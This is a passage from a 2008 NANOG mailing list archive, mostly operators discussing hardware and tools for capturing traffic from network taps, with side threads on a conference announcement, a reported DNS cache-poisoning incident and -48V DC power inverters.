ultimate requirements are. Jared Mauch On Jul 29, 2008, at 7:10 PM, "John A. Kilpatrick" wrote: > > We've deployed a bunch taps in our network and now we need a > platform on which to capture the data. Our bandwidth is currently > pretty low but I've got 8 links to tap, which means I need 16 > ports. Has anyone done any research on doing accurate packet > capture with commodity hardware? > > > -- > John A. Kilpatrick > john at hypergeek.net Email| http://www.hypergeek.net/ > john-page at hypergeek.net Text pages| ICQ: 19147504 > remember: no obstacles/only challenges > > From christian at broknrobot.com Tue Jul 29 19:11:22 2008 From: christian at broknrobot.com (Christian Koch) Date: Tue, 29 Jul 2008 20:11:22 -0400 Subject: Hardware capture platforms In-Reply-To: References: <20080729155511.R42026@iama.hypergeek.net> Message-ID: solera makes some nice boxes also On Tue, Jul 29, 2008 at 7:35 PM, Jared Mauch wrote: > Check out packet forensics depending on what your ultimate requirements > are. > > Jared Mauch > > > On Jul 29, 2008, at 7:10 PM, "John A. Kilpatrick" > wrote: > > >> We've deployed a bunch taps in our network and now we need a platform on >> which to capture the data. Our bandwidth is currently pretty low but I've >> got 8 links to tap, which means I need 16 ports. Has anyone done any >> research on doing accurate packet capture with commodity hardware? >> >> >> -- >> John A. Kilpatrick >> john at hypergeek.net Email| http://www.hypergeek.net/ >> john-page at hypergeek.net Text pages| ICQ: 19147504 >> remember: no obstacles/only challenges >> >> >> > From morrowc.lists at gmail.com Tue Jul 29 19:12:09 2008 From: morrowc.lists at gmail.com (Christopher Morrow) Date: Wed, 30 Jul 2008 01:12:09 +0100 Subject: Hardware capture platforms In-Reply-To: References: <20080729155511.R42026@iama.hypergeek.net> Message-ID: <75cb24520807291712r50167c9ap3a444d7b4792c7e3@mail.gmail.com> On Wed, Jul 30, 2008 at 12:35 AM, Jared Mauch wrote: > Check out packet forensics depending on what your ultimate requirements are. > I would also add a 'see packet forensics'... > On Jul 29, 2008, at 7:10 PM, "John A. Kilpatrick" > wrote: > >> >> We've deployed a bunch taps in our network and now we need a platform on >> which to capture the data. Our bandwidth is currently pretty low but I've >> got 8 links to tap, which means I need 16 ports. Has anyone done any >> research on doing accurate packet capture with commodity hardware? >> >> >> -- >> John A. Kilpatrick >> john at hypergeek.net Email| http://www.hypergeek.net/ >> john-page at hypergeek.net Text pages| ICQ: 19147504 >> remember: no obstacles/only challenges >> >> > > From netfortius at gmail.com Tue Jul 29 20:45:15 2008 From: netfortius at gmail.com (Network Fortius) Date: Tue, 29 Jul 2008 20:45:15 -0500 Subject: Hardware capture platforms In-Reply-To: <75cb24520807291712r50167c9ap3a444d7b4792c7e3@mail.gmail.com> References: <20080729155511.R42026@iama.hypergeek.net> <75cb24520807291712r50167c9ap3a444d7b4792c7e3@mail.gmail.com> Message-ID: Richard's blog @ http://taosecurity.blogspot.com/search?q=taps and especially his books (Tao of Network Security Monitoring and Extrusion Detection) are the best sources I have ever found, concerning [not only] taps and[/but] so much more on the subject - proper usage and best methodologies and practices for network monitoring (and not only for security!!!) Stefan On Tue, Jul 29, 2008 at 7:12 PM, Christopher Morrow wrote: > On Wed, Jul 30, 2008 at 12:35 AM, Jared Mauch > wrote: > > Check out packet forensics depending on what your ultimate requirements > are. > > > > I would also add a 'see packet forensics'... > > > On Jul 29, 2008, at 7:10 PM, "John A. Kilpatrick" > > wrote: > > > >> > >> We've deployed a bunch taps in our network and now we need a platform on > >> which to capture the data. Our bandwidth is currently pretty low but > I've > >> got 8 links to tap, which means I need 16 ports. Has anyone done any > >> research on doing accurate packet capture with commodity hardware? > >> > >> > >> -- > >> John A. Kilpatrick > >> john at hypergeek.net Email| http://www.hypergeek.net/ > >> john-page at hypergeek.net Text pages| ICQ: 19147504 > >> remember: no obstacles/only challenges > >> > >> > > > > > > From jpleger at gmail.com Tue Jul 29 21:26:09 2008 From: jpleger at gmail.com (James Pleger) Date: Tue, 29 Jul 2008 19:26:09 -0700 Subject: Hardware capture platforms In-Reply-To: References: <20080729155511.R42026@iama.hypergeek.net> <75cb24520807291712r50167c9ap3a444d7b4792c7e3@mail.gmail.com> Message-ID: <221481660807291926y225766a3k136860c555d964c@mail.gmail.com> There are several things that you can do with open source solutions, however looking at the data may be a bit more difficult than something like Network Generals or Solera Networks capture appliances. It is still doable and is definitely much much cheaper... Something you might want to look into is traffic aggregation with a switch or hub. You can buy an Allied Telesyn switch and basically turn it into a hub by disabling switchport learning. Just an idea. You can use regular old tcpdump with the -C option to rotate logs tcpdump -i blah -s0 -C , etc. or you can use Daemonlogger which does pretty much the same thing... http://www.snort.org/users/roesch/Site/Daemonlogger/Daemonlogger.html On Tue, Jul 29, 2008 at 6:45 PM, Network Fortius wrote: > Richard's blog @ http://taosecurity.blogspot.com/search?q=taps and > especially his books (Tao of Network Security Monitoring and Extrusion > Detection) are the best sources I have ever found, concerning [not only] > taps and[/but] so much more on the subject - proper usage and best > methodologies and practices for network monitoring (and not only for > security!!!) > > > Stefan > > On Tue, Jul 29, 2008 at 7:12 PM, Christopher Morrow > wrote: > >> On Wed, Jul 30, 2008 at 12:35 AM, Jared Mauch >> wrote: >> > Check out packet forensics depending on what your ultimate requirements >> are. >> > >> >> I would also add a 'see packet forensics'... >> >> > On Jul 29, 2008, at 7:10 PM, "John A. Kilpatrick" >> > wrote: >> > >> >> >> >> We've deployed a bunch taps in our network and now we need a platform on >> >> which to capture the data. Our bandwidth is currently pretty low but >> I've >> >> got 8 links to tap, which means I need 16 ports. Has anyone done any >> >> research on doing accurate packet capture with commodity hardware? >> >> >> >> >> >> -- >> >> John A. Kilpatrick >> >> john at hypergeek.net Email| http://www.hypergeek.net/ >> >> john-page at hypergeek.net Text pages| ICQ: 19147504 >> >> remember: no obstacles/only challenges >> >> >> >> >> > >> > >> >> > From ddunkin at netos.net Tue Jul 29 21:43:15 2008 From: ddunkin at netos.net (Darryl Dunkin) Date: Tue, 29 Jul 2008 19:43:15 -0700 Subject: Hardware capture platforms References: <20080729155511.R42026@iama.hypergeek.net><75cb24520807291712r5 0167c9ap3a444d7b4792c7e3@mail.gmail.com> <221481660807291926y225766a3k136860c555d964c@mail.gmail.com> Message-ID: <56F5BC5F404CF84896C447397A1AAF207AF0BC@MAIL.nosi.netos.com> Hubs sure are fun... I would trunk the ports you are monitoring, and run the port monitor on the trunk port instead (one trunk port, one port per VLAN, plus one span) which will help with your density. This is assuming the analysis software you have can read the dot1q tags, but means you do not need to burn two ports per monitor. -----Original Message----- From: James Pleger [mailto:jpleger at gmail.com] Sent: Tuesday, July 29, 2008 19:26 To: nanog at merit.edu Subject: Re: Hardware capture platforms There are several things that you can do with open source solutions, however looking at the data may be a bit more difficult than something like Network Generals or Solera Networks capture appliances. It is still doable and is definitely much much cheaper... Something you might want to look into is traffic aggregation with a switch or hub. You can buy an Allied Telesyn switch and basically turn it into a hub by disabling switchport learning. Just an idea. You can use regular old tcpdump with the -C option to rotate logs tcpdump -i blah -s0 -C , etc. or you can use Daemonlogger which does pretty much the same thing... http://www.snort.org/users/roesch/Site/Daemonlogger/Daemonlogger.html On Tue, Jul 29, 2008 at 6:45 PM, Network Fortius wrote: > Richard's blog @ http://taosecurity.blogspot.com/search?q=taps and > especially his books (Tao of Network Security Monitoring and Extrusion > Detection) are the best sources I have ever found, concerning [not only] > taps and[/but] so much more on the subject - proper usage and best > methodologies and practices for network monitoring (and not only for > security!!!) > > > Stefan > > On Tue, Jul 29, 2008 at 7:12 PM, Christopher Morrow > wrote: > >> On Wed, Jul 30, 2008 at 12:35 AM, Jared Mauch >> wrote: >> > Check out packet forensics depending on what your ultimate requirements >> are. >> > >> >> I would also add a 'see packet forensics'... >> >> > On Jul 29, 2008, at 7:10 PM, "John A. Kilpatrick" >> > wrote: >> > >> >> >> >> We've deployed a bunch taps in our network and now we need a platform on >> >> which to capture the data. Our bandwidth is currently pretty low but >> I've >> >> got 8 links to tap, which means I need 16 ports. Has anyone done any >> >> research on doing accurate packet capture with commodity hardware? >> >> >> >> >> >> -- >> >> John A. Kilpatrick >> >> john at hypergeek.net Email| http://www.hypergeek.net/ >> >> john-page at hypergeek.net Text pages| ICQ: 19147504 >> >> remember: no obstacles/only challenges >> >> >> >> >> > >> > >> >> > From mkarir at merit.edu Tue Jul 29 21:54:00 2008 From: mkarir at merit.edu (Manish Karir) Date: Tue, 29 Jul 2008 22:54:00 -0400 Subject: Hardware capture platforms Message-ID: Hi John, You might want to check out www.opencalea.org. We have just released opencalea-lite which is a complete re-write of the original opencalea software. OpenCalea-lite is a much better and cleaner re-write(we learnt from our mistakes in the previous releases). One of the problems of the original version was that we were getting bogged down in details over the precise standard format instead of making the core more stable. OpenCalea-lite takes a step back form this and aims at doing well the essense of what packet taps should be able to. It has a nice clean tap/controller/collector architecture which is much more robust. Taps will register with the controller irrespective of which is started first. Process control has also been improved. Starting and stopping taps is handled in a much cleaner way. In addtion TCP streams are used to transfer data. We were about to send out an announcement regarding opencalea-lite on the opencalea at merit.edu mailing list. Aside from calea requirements opencalea-lite is actually a fairly good platform for running remote-taps in your network. -manish > Message: 4 > Date: Tue, 29 Jul 2008 16:10:09 -0700 (PDT) > From: "John A. Kilpatrick" > Subject: Hardware capture platforms > To: nanog at merit.edu > Message-ID: <20080729155511.R42026 at iama.hypergeek.net> > Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed > > > We've deployed a bunch taps in our network and now we need a platform > on > which to capture the data. Our bandwidth is currently pretty low but > I've got 8 links to tap, which means I need 16 ports. Has anyone done > any > research on doing accurate packet capture with commodity hardware? > > > -- > John A. Kilpatrick > john at hypergeek.net Email| http://www.hypergeek.net/ > john-page at hypergeek.net Text pages| ICQ: 19147504 > remember: no obstacles/only challenges > From seclists at rm-rf.co.uk Wed Jul 30 08:26:11 2008 From: seclists at rm-rf.co.uk (Leon Ward) Date: Wed, 30 Jul 2008 14:26:11 +0100 Subject: Hardware capture platforms In-Reply-To: <221481660807291926y225766a3k136860c555d964c@mail.gmail.com> References: <20080729155511.R42026@iama.hypergeek.net> <75cb24520807291712r50167c9ap3a444d7b4792c7e3@mail.gmail.com> <221481660807291926y225766a3k136860c555d964c@mail.gmail.com> Message-ID: <82FF05AB-185F-452A-A41D-CEB399F5F302@rm-rf.co.uk> On 30 Jul 2008, at 03:26, James Pleger wrote: > > Something you might want to look into is traffic aggregation with a > switch or hub. You can buy an Allied Telesyn switch and basically turn > it into a hub by disabling switchport learning. Just an idea. Never try to aggregate multiple TAPs with a hub. You will just create a bucket load of collisions and end up with a useless data feed presented to your monitoring tool. If you want to aggregate multiple TAP feeds into a smaller number of devices(s), most of the TAP vendors make some form of link aggregation device. Or, depending on the OS and sniffer you use, you may be able to bond the interfaces on the capture device. -Leon > > You can use regular old tcpdump with the -C option to rotate logs > > tcpdump -i blah -s0 -C , etc. > > or you can use Daemonlogger which does pretty much the same thing... > > http://www.snort.org/users/roesch/Site/Daemonlogger/Daemonlogger.html From warren at kumari.net Wed Jul 30 13:32:31 2008 From: warren at kumari.net (Warren Kumari) Date: Wed, 30 Jul 2008 14:32:31 -0400 Subject: Hardware capture platforms In-Reply-To: <56F5BC5F404CF84896C447397A1AAF207AF0BC@MAIL.nosi.netos.com> References: <20080729155511.R42026@iama.hypergeek.net><75cb24520807291712r5 0167c9ap3a444d7b4792c7e3@mail.gmail.com> <221481660807291926y225766a3k136860c555d964c@mail.gmail.com> <56F5BC5F404CF84896C447397A1AAF207AF0BC@MAIL.nosi.netos.com> Message-ID: <7280DF7C-8677-4552-8B27-1F695CBFFA33@kumari.net> On Jul 29, 2008, at 10:43 PM, Darryl Dunkin wrote: > Hubs sure are fun... > This might be a stupid question, but where can one get small hubs these days? All of the common commodity (eg: 4 port Netgear) "hubs" these days are actually switches. What I am looking for is: Small enough to live in my notebook bag (e.g.: 4 port with a wall wart.) Cheap Simple 10/100/1000Mbps While a tap would work, I'd prefer a hub because I can then use it to connect machines together in a pinch. W --- In the past I have bought some cheap 4 port commodity switches (form Circuit City or somewhere similar), found the datasheet for the chipset (it was a Broadcom something or other) and tied the pin to ground that disables the learning mode (actually, I think that the pin just set the size of the learning table to be 0 entries). While this works, doing it once was more than enough :-) > I would trunk the ports you are monitoring, and run the port monitor > on > the trunk port instead (one trunk port, one port per VLAN, plus one > span) which will help with your density. This is assuming the analysis > software you have can read the dot1q tags, but means you do not need > to > burn two ports per monitor. > > -----Original Message----- > From: James Pleger [mailto:jpleger at gmail.com] > Sent: Tuesday, July 29, 2008 19:26 > To: nanog at merit.edu > Subject: Re: Hardware capture platforms > > There are several things that you can do with open source solutions, > however looking at the data may be a bit more difficult than something > like Network Generals or Solera Networks capture appliances. It is > still doable and is definitely much much cheaper... > > Something you might want to look into is traffic aggregation with a > switch or hub. You can buy an Allied Telesyn switch and basically turn > it into a hub by disabling switchport learning. Just an idea. > > You can use regular old tcpdump with the -C option to rotate logs > > tcpdump -i blah -s0 -C , etc. > > or you can use Daemonlogger which does pretty much the same thing... > > http://www.snort.org/users/roesch/Site/Daemonlogger/Daemonlogger.html > > > On Tue, Jul 29, 2008 at 6:45 PM, Network Fortius > > wrote: >> Richard's blog @ http://taosecurity.blogspot.com/search?q=taps and >> especially his books (Tao of Network Security Monitoring and >> Extrusion >> Detection) are the best sources I have ever found, concerning [not > only] >> taps and[/but] so much more on the subject - proper usage and best >> methodologies and practices for network monitoring (and not only for >> security!!!) >> >> >> Stefan >> >> On Tue, Jul 29, 2008 at 7:12 PM, Christopher Morrow > >> wrote: >> >>> On Wed, Jul 30, 2008 at 12:35 AM, Jared Mauch >>> >>> wrote: >>>> Check out packet forensics depending on what your ultimate > requirements >>> are. >>>> >>> >>> I would also add a 'see packet forensics'... >>> >>>> On Jul 29, 2008, at 7:10 PM, "John A. Kilpatrick" > >>>> wrote: >>>> >>>>> >>>>> We've deployed a bunch taps in our network and now we need a > platform on >>>>> which to capture the data. Our bandwidth is currently pretty low > but >>> I've >>>>> got 8 links to tap, which means I need 16 ports. Has anyone done > any >>>>> research on doing accurate packet capture with commodity hardware? >>>>> >>>>> >>>>> -- >>>>> John A. Kilpatrick >>>>> john at hypergeek.net Email| > http://www.hypergeek.net/ >>>>> john-page at hypergeek.net Text pages| ICQ: 19147504 >>>>> remember: no obstacles/only challenges >>>>> >>>>> >>>> >>>> >>> >>> >> > > -- "Build a man a fire, and he'll be warm for a day. Set a man on fire, and he'll be warm for the rest of his life." -- Terry Pratchett From Jon.Kibler at aset.com Wed Jul 30 13:47:11 2008 From: Jon.Kibler at aset.com (Jon Kibler) Date: Wed, 30 Jul 2008 14:47:11 -0400 Subject: Hardware capture platforms In-Reply-To: <7280DF7C-8677-4552-8B27-1F695CBFFA33@kumari.net> References: <20080729155511.R42026@iama.hypergeek.net><75cb24520807291712r5 0167c9ap3a444d7b4792c7e3@mail.gmail.com> <221481660807291926y225766a3k136860c555d964c@mail.gmail.com> <56F5BC5F404CF84896C447397A1AAF207AF0BC@MAIL.nosi.netos.com> <7280DF7C-8677-4552-8B27-1F695CBFFA33@kumari.net> Message-ID: <4890B72F.4070303@aset.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Warren Kumari wrote: > > On Jul 29, 2008, at 10:43 PM, Darryl Dunkin wrote: > >> Hubs sure are fun... >> > > This might be a stupid question, but where can one get small hubs these > days? All of the common commodity (eg: 4 port Netgear) "hubs" these > days are actually switches. > > What I am looking for is: > Small enough to live in my notebook bag (e.g.: 4 port with a wall wart.) > Cheap > Simple > 10/100/1000Mbps > > While a tap would work, I'd prefer a hub because I can then use it to > connect machines together in a pinch. > Hubs are still available that are REAL hubs. I got 4 netgears about a year ago and they are still available. However, there is a problem with your specification: No hub (that I am aware of) can do 1Gbps. All hubs are 10/100 AFAIK. Jon Kibler - -- Jon R. Kibler Chief Technical Officer Advanced Systems Engineering Technology, Inc. Charleston, SC USA o: 843-849-8214 c: 843-224-2494 s: 843-564-4224 My PGP Fingerprint is: BAA2 1F2C 5543 5D25 4636 A392 515C 5045 CF39 4253 -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.8 (Darwin) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iEYEARECAAYFAkiQty8ACgkQUVxQRc85QlOA1ACfWWGa6FcwzcKT1PN+0pBRky46 bUQAnAxgqV4hfGEZBSgPoMXP8+3/PS+k =ynxx -----END PGP SIGNATURE----- ================================================== Filtered by: TRUSTEM.COM's Email Filtering Service http://www.trustem.com/ No Spam. No Viruses. Just Good Clean Email. From shrdlu at deaddrop.org Wed Jul 30 13:52:00 2008 From: shrdlu at deaddrop.org (Lynda) Date: Wed, 30 Jul 2008 11:52:00 -0700 Subject: Hardware capture platforms In-Reply-To: <7280DF7C-8677-4552-8B27-1F695CBFFA33@kumari.net> References: <20080729155511.R42026@iama.hypergeek.net><75cb24520807291712r5 0167c9ap3a444d7b4792c7e3@mail.gmail.com> <221481660807291926y225766a3k136860c555d964c@mail.gmail.com> <56F5BC5F404CF84896C447397A1AAF207AF0BC@MAIL.nosi.netos.com> <7280DF7C-8677-4552-8B27-1F695CBFFA33@kumari.net> Message-ID: <4890B850.4080600@deaddrop.org> Warren Kumari wrote: > > On Jul 29, 2008, at 10:43 PM, Darryl Dunkin wrote: > >> Hubs sure are fun... > This might be a stupid question, but where can one get small hubs these > days? All of the common commodity (eg: 4 port Netgear) "hubs" these > days are actually switches. True enough. For those of us who need and want something non-switched, eBay and other used hardware places are the only real option. > What I am looking for is: Small enough to live in my notebook bag > (e.g.: 4 port with a wall wart.) Cheap Simple 10/100/1000Mbps I don't believe that such a thing ever existed. Hubs that did 10/100, certainly, but I've never ever seen a hub that did gig speeds. When I realized hubs were about to be an endangered species, I started purchasing new and used. I have at least two that (other than testing) have never been used. > While a tap would work, I'd prefer a hub because I can then use it to > connect machines together in a pinch. The original poster needed to deploy a tap, and a hub (for him) would defeat the purpose entirely. If you really really need a hub (or two), your best bet is to start looking at various resellers. Pity you're not closer; I'm retired, and no longer really need the six or eight that I still have. -- In April 1951, Galaxy published C.M. Kornbluth's "The Marching Morons". The intervening years have proven Kornbluth right. --Valdis Kletnieks From todd at renesys.com Wed Jul 30 14:01:07 2008 From: todd at renesys.com (Todd Underwood) Date: Wed, 30 Jul 2008 19:01:07 +0000 Subject: [NANOG-announce] NANOG44 updated agenda, so register already Message-ID: <20080730190107.GV6599@renesys.com> An updated agenda for NANOG44 has been posted at: http://nanog.org/mtg-0810/agenda.html you might notice that this NANOG features: * Keynote by Vint Cerf of Google * More tutorials than you can shake a stick at * A panel of Internet Luminaries addressing the current addressing situation from a historical perspective * A surfeit of IPv6 content (with some more likely before the event). * Lots of other great, operational presentations So I would humbly suggest that you (collectively) register for NANOG44 ( https://nanog.merit.edu/registration/ ) as quickly as possible. Discounted registration ends in less than two weeks, so save yourself $75 and get registered. You know you're going to go, so just go already. I would *strongly* suggest you reserve a hotel room if you have not already. The last several NANOGs all available discounted rooms in the room block have gone very quickly. ( http://nanog.org/mtg-0810/hotel.html ) Note that the program is now effectively full (there are 2-3 slots left that are saved for conditionally accepted talks that are already in progress or any presentations dealing with late-breaking events, but the event would have to be exceptionally significant and interesting). If you didn't submit for this NANOG conference, please consider submitting a presentation for NANOG45. See y'all (that's "yinz" in Pittsburgh :-) in LA. t. -- _____________________________________________________________________ todd underwood +1 603 643 9300 x101 renesys corporation general manager babbledog todd at renesys.com http://www.renesys.com/blog _______________________________________________ NANOG-announce mailing list NANOG-announce at nanog.org http://mailman.nanog.org/mailman/listinfo/nanog-announce From mhuff at ox.com Wed Jul 30 14:09:12 2008 From: mhuff at ox.com (Matthew Huff) Date: Wed, 30 Jul 2008 15:09:12 -0400 Subject: Hardware capture platforms In-Reply-To: <4890B850.4080600@deaddrop.org> References: <20080729155511.R42026@iama.hypergeek.net><75cb24520807291712r5 0167c9ap3a444d7b4792c7e3@mail.gmail.com> <221481660807291926y225766a3k136860c555d964c@mail.gmail.com> <56F5BC5F404CF84896C447397A1AAF207AF0BC@MAIL.nosi.netos.com> <7280DF7C-8677-4552-8B27-1F695CBFFA33@kumari.net> <4890B850.4080600@deaddrop.org> Message-ID: <483E6B0272B0284BA86D7596C40D29F907AAD741CB@PUR-EXCH07.ox.com> The Cisco 8 port 10/100/1000 switch (WS-C2960G-8TC-L) supports RSPAN which would allow you to tap all the ports even though it's a switch. It's about $750, so it's not a cheap option, but it's not outrageous either. It's the right size also. ---- Matthew Huff | One Manhattanville Rd OTA Management LLC | Purchase, NY 10577 www.otaotr.com | Phone: 914-460-4039 aim: matthewbhuff | Fax: 914-460-4139 -----Original Message----- From: Lynda [mailto:shrdlu at deaddrop.org] Sent: Wednesday, July 30, 2008 2:52 PM To: Nanog Subject: Re: Hardware capture platforms Warren Kumari wrote: > > On Jul 29, 2008, at 10:43 PM, Darryl Dunkin wrote: > >> Hubs sure are fun... > This might be a stupid question, but where can one get small hubs > these days? All of the common commodity (eg: 4 port Netgear) "hubs" > these days are actually switches. True enough. For those of us who need and want something non-switched, eBay and other used hardware places are the only real option. > What I am looking for is: Small enough to live in my notebook bag > (e.g.: 4 port with a wall wart.) Cheap Simple 10/100/1000Mbps I don't believe that such a thing ever existed. Hubs that did 10/100, certainly, but I've never ever seen a hub that did gig speeds. When I realized hubs were about to be an endangered species, I started purchasing new and used. I have at least two that (other than testing) have never been used. > While a tap would work, I'd prefer a hub because I can then use it to > connect machines together in a pinch. The original poster needed to deploy a tap, and a hub (for him) would defeat the purpose entirely. If you really really need a hub (or two), your best bet is to start looking at various resellers. Pity you're not closer; I'm retired, and no longer really need the six or eight that I still have. -- In April 1951, Galaxy published C.M. Kornbluth's "The Marching Morons". The intervening years have proven Kornbluth right. --Valdis Kletnieks From ge at linuxbox.org Wed Jul 30 14:52:41 2008 From: ge at linuxbox.org (Gadi Evron) Date: Wed, 30 Jul 2008 14:52:41 -0500 (CDT) Subject: [funsec] Subject line misleading. AT&T Pwned. Sweet Irony: Metasploit Creator a Victim of His Own Creation (fwd) Message-ID: I guess history decided the previous discussion in favor of vix. Although I doubt vix sees this compromise at ATT as a victory, but rather a loss. Note: HD has not been compromised. Gadi. ---------- Forwarded message ---------- Date: Wed, 30 Jul 2008 11:46:49 -0700 From: Dragos Ruiu To: Paul Ferguson Cc: funsec at linuxbox.org Subject: Re: [funsec] Subject line misleading. AT&T Pwned. Sweet Irony: Metasploit Creator a Victim of His Own Creation On 29-Jul-08, at 10:01 PM, Paul Ferguson wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Via PC World (IDG). > > [snip] > > HD Moore has been owned. > > That's hacker talk, meaning that Moore, the creator of the popular > Metasploit hacking toolkit has become the victim of a computer attack. > > It happened on Tuesday morning, when Moore's company, BreakingPoint > had > some of its Internet traffic redirected to a fake Google page that was > being run by a scammer. According to Moore, the hacker was able to > do this > by launching what's known as a cache poisoning attack on a DNS > server on > AT&T's network that was serving the Austin, Texas area. One of > BreakingPoint's servers was forwarding DNS (Domain Name System) > traffic to > the AT&T server, so when it was compromised, so was HD Moore's > company. > > When Moore tried to visit Google.com, he was actually redirected to > a fake > page that served up a Google page in one HTML frame along with three > other > pages designed to automatically click on advertisements. > > [snip] > > More: > http://www.pcworld.com/article/149126/2008/07/.html > > - - ferg > > > -----BEGIN PGP SIGNATURE----- > Version: PGP Desktop 9.6.3 (Build 3017) > > wj8DBQFIj/Wrq1pz9mNUZTMRAmAhAJ9lT5hosH5xBOWOsTFArDsw1MGN1ACg+wQR > a12h7wcZ9hy0JN2DtHkuZGo= > =Wv/X > -----END PGP SIGNATURE----- > > -- > "Fergie", a.k.a. Paul Ferguson > Engineering Architecture for the Internet > fergdawg(at)netzero.net > ferg's tech blog: http://fergdawg.blogspot.com/ > > > _______________________________________________ > Fun and Misc security discussion for OT posts. > https://linuxbox.org/cgi-bin/mailman/listinfo/funsec > Note: funsec is a public and open mailing list. -------------- next part -------------- _______________________________________________ Fun and Misc security discussion for OT posts. https://linuxbox.org/cgi-bin/mailman/listinfo/funsec Note: funsec is a public and open mailing list. From nathan at robotics.net Wed Jul 30 17:44:07 2008 From: nathan at robotics.net (nathan at robotics.net) Date: Wed, 30 Jul 2008 17:44:07 -0500 (CDT) Subject: Hardware capture platforms In-Reply-To: <20080729155511.R42026@iama.hypergeek.net> References: <20080729155511.R42026@iama.hypergeek.net> Message-ID: On Tue, 29 Jul 2008, John A. Kilpatrick wrote: > We've deployed a bunch taps in our network and now we need a platform on > which to capture the data. Our bandwidth is currently pretty low but I've > got 8 links to tap, which means I need 16 ports. Has anyone done any > research on doing accurate packet capture with commodity hardware? A hardware based capture card is the only way to get to any real throughput. Check out Endace cards, that will let you do line rate gig e or better and has native libpcap interface. You also may want to check out WildPackets cards. ><> Nathan Stratton CTO, BlinkMind, Inc. nathan at robotics.net nathan at blinkmind.com http://www.robotics.net http://www.blinkmind.com From dnewman at networktest.com Wed Jul 30 18:34:04 2008 From: dnewman at networktest.com (David Newman) Date: Wed, 30 Jul 2008 16:34:04 -0700 Subject: Hardware capture platforms Message-ID: <4890FA6C.1000301@networktest.com> Jon Kibler wrote: > Hubs are still available that are REAL hubs. I got 4 netgears about a > year ago and they are still available. > > However, there is a problem with your specification: No hub (that I am > aware of) can do 1Gbps. All hubs are 10/100 AFAIK. Grand Junction made a gigabit Ethernet repeater around 1996. It was based on the "carrier extension" part of the gigabit Ethernet spec that allows for half-duplex operation. Carrier extension pads any frame shorter than 512 bytes to be 512 bytes long. For that reason (in case frame size distribution matters), as well as the tons of collisions that others have mentioned, I'd also stay away from hubs for the OP's needs. Also, many 10/100 hubs have a 2-port switch to move frames between speeds, so it's conceivable that even a "hub" may have multiple collision domains. dn From andreas at naund.org Wed Jul 30 18:54:48 2008 From: andreas at naund.org (Andreas Ott) Date: Wed, 30 Jul 2008 16:54:48 -0700 Subject: big DC -48V to AC inverters Message-ID: <20080730165448.R26698@naund.org> Hello, we are looking into providing power for 'legacy' equipment in a data center that is exclusively giving us -48V DC power. The most recent thread on this list was about -48V DC modems but in our case I am rather looking into inverting on the order of 4 kW per rack from the supplied DC into AC equipment. And yes, that's not the most efficient use of power, we know it already ;-) . Does anyone operate devices like this that are capable of 2...4 kW power conversion and do you have recommendations, good or bad experience to share? Please reply direct to me and indicate if it's OK to use your answer in a summary e-mail back to the list. Thanks, andreas -- Andreas Ott K6OTT andreas at naund.org From rdobbins at cisco.com Wed Jul 30 19:10:44 2008 From: rdobbins at cisco.com (Roland Dobbins) Date: Thu, 31 Jul 2008 07:10:44 +0700 Subject: Hardware capture platforms In-Reply-To: References: <20080729155511.R42026@iama.hypergeek.net> Message-ID: On Jul 31, 2008, at 5:44 AM, nathan at robotics.net wrote: > Check out Endace cards, that will let you do line rate gig e or > better and has native libpcap interface. I believe Endace also have a productized box containing their capture cards (NinjaProbe); it can be used to capture packets, and can also export NetFlow telemetry based upon the captured traffic. Arbor, Narus, and Lancope have similar NetFlow-via-packet-capture capabilities. ----------------------------------------------------------------------- Roland Dobbins // +66.83.266.6344 mobile History is a great teacher, but it also lies with impunity. -- John Robb From jackson.tim at gmail.com Wed Jul 30 19:35:55 2008 From: jackson.tim at gmail.com (Tim Jackson) Date: Wed, 30 Jul 2008 19:35:55 -0500 Subject: big DC -48V to AC inverters In-Reply-To: <20080730165448.R26698@naund.org> References: <20080730165448.R26698@naund.org> Message-ID: <4407932e0807301735o49a715dk9f7eb7cd7d50011@mail.gmail.com> Unipower out of florida.. They can provide scalable inverters for 120 and 208/240. Modular N+1 setups and very flexible.. We have a large 200amp 120vac setup from them. I'd recommend letting your electrician build a parallel setup instead of relying on their modules, however... On 7/30/08, Andreas Ott wrote: > Hello, > > we are looking into providing power for 'legacy' equipment in a data > center that is exclusively giving us -48V DC power. The most recent > thread on this list was about -48V DC modems but in our case I am rather > looking into inverting on the order of 4 kW per rack from the supplied DC > into AC equipment. And yes, that's not the most efficient use of power, > we know it already ;-) . > > Does anyone operate devices like this that are capable of 2...4 kW > power conversion and do you have recommendations, good or bad experience > to share? > > Please reply direct to me and indicate if it's OK to use your answer in > a summary e-mail back to the list. > > Thanks, andreas > -- > Andreas Ott K6OTT andreas at naund.org > > -- Sent from Gmail for mobile | mobile.google.com From tomb at byrneit.net Wed Jul 30 20:35:24 2008 From: tomb at byrneit.net (Tomas L. Byrnes) Date: Wed, 30 Jul 2008 18:35:24 -0700 Subject: big DC -48V to AC inverters In-Reply-To: <4407932e0807301735o49a715dk9f7eb7cd7d50011@mail.gmail.com> References: <20080730165448.R26698@naund.org> <4407932e0807301735o49a715dk9f7eb7cd7d50011@mail.gmail.com> Message-ID: <70D072392E56884193E3D2DE09C097A9F3EB@pascal.zaphodb.org> If you do invert, don't forget the cooling budget. Inverters run HOT! > -----Original Message----- > From: Tim Jackson [mailto:jackson.tim at gmail.com] > Sent: Wednesday, July 30, 2008 5:36 PM > To: Andreas Ott; nanog at merit.edu > Subject: Re: big DC -48V to AC inverters > > Unipower out of florida.. They can provide scalable inverters > for 120 and 208/240. Modular N+1 setups and very flexible.. > > We have a large 200amp 120vac setup from them. I'd recommend > letting your electrician build a parallel setup instead of > relying on their modules, however... > > > > > On 7/30/08, Andreas Ott wrote: > > Hello, > > > > we are looking into providing power for 'legacy' equipment > in a data > > center that is exclusively giving us -48V DC power. The most recent > > thread on this list was about -48V DC modems but in our case I am > > rather looking into inverting on the order of 4 kW per rack > from the > > supplied DC into AC equipment. And yes, that's not the most > efficient > > use of power, we know it already ;-) . > > > > Does anyone operate devices like this that are capable of 2...4 kW > > power conversion and do you have recommendations, good or bad > > experience to share? > > > > Please reply direct to me and indicate if it's OK to use > your answer > > in a summary e-mail back to the list. > > > > Thanks, andreas > > -- > > Andreas Ott K6OTT andreas at naund.org > > > > > > -- > Sent from Gmail for mobile | mobile.google.com > > From ops.lists at gmail.com Wed Jul 30 22:49:12 2008 From: ops.lists at 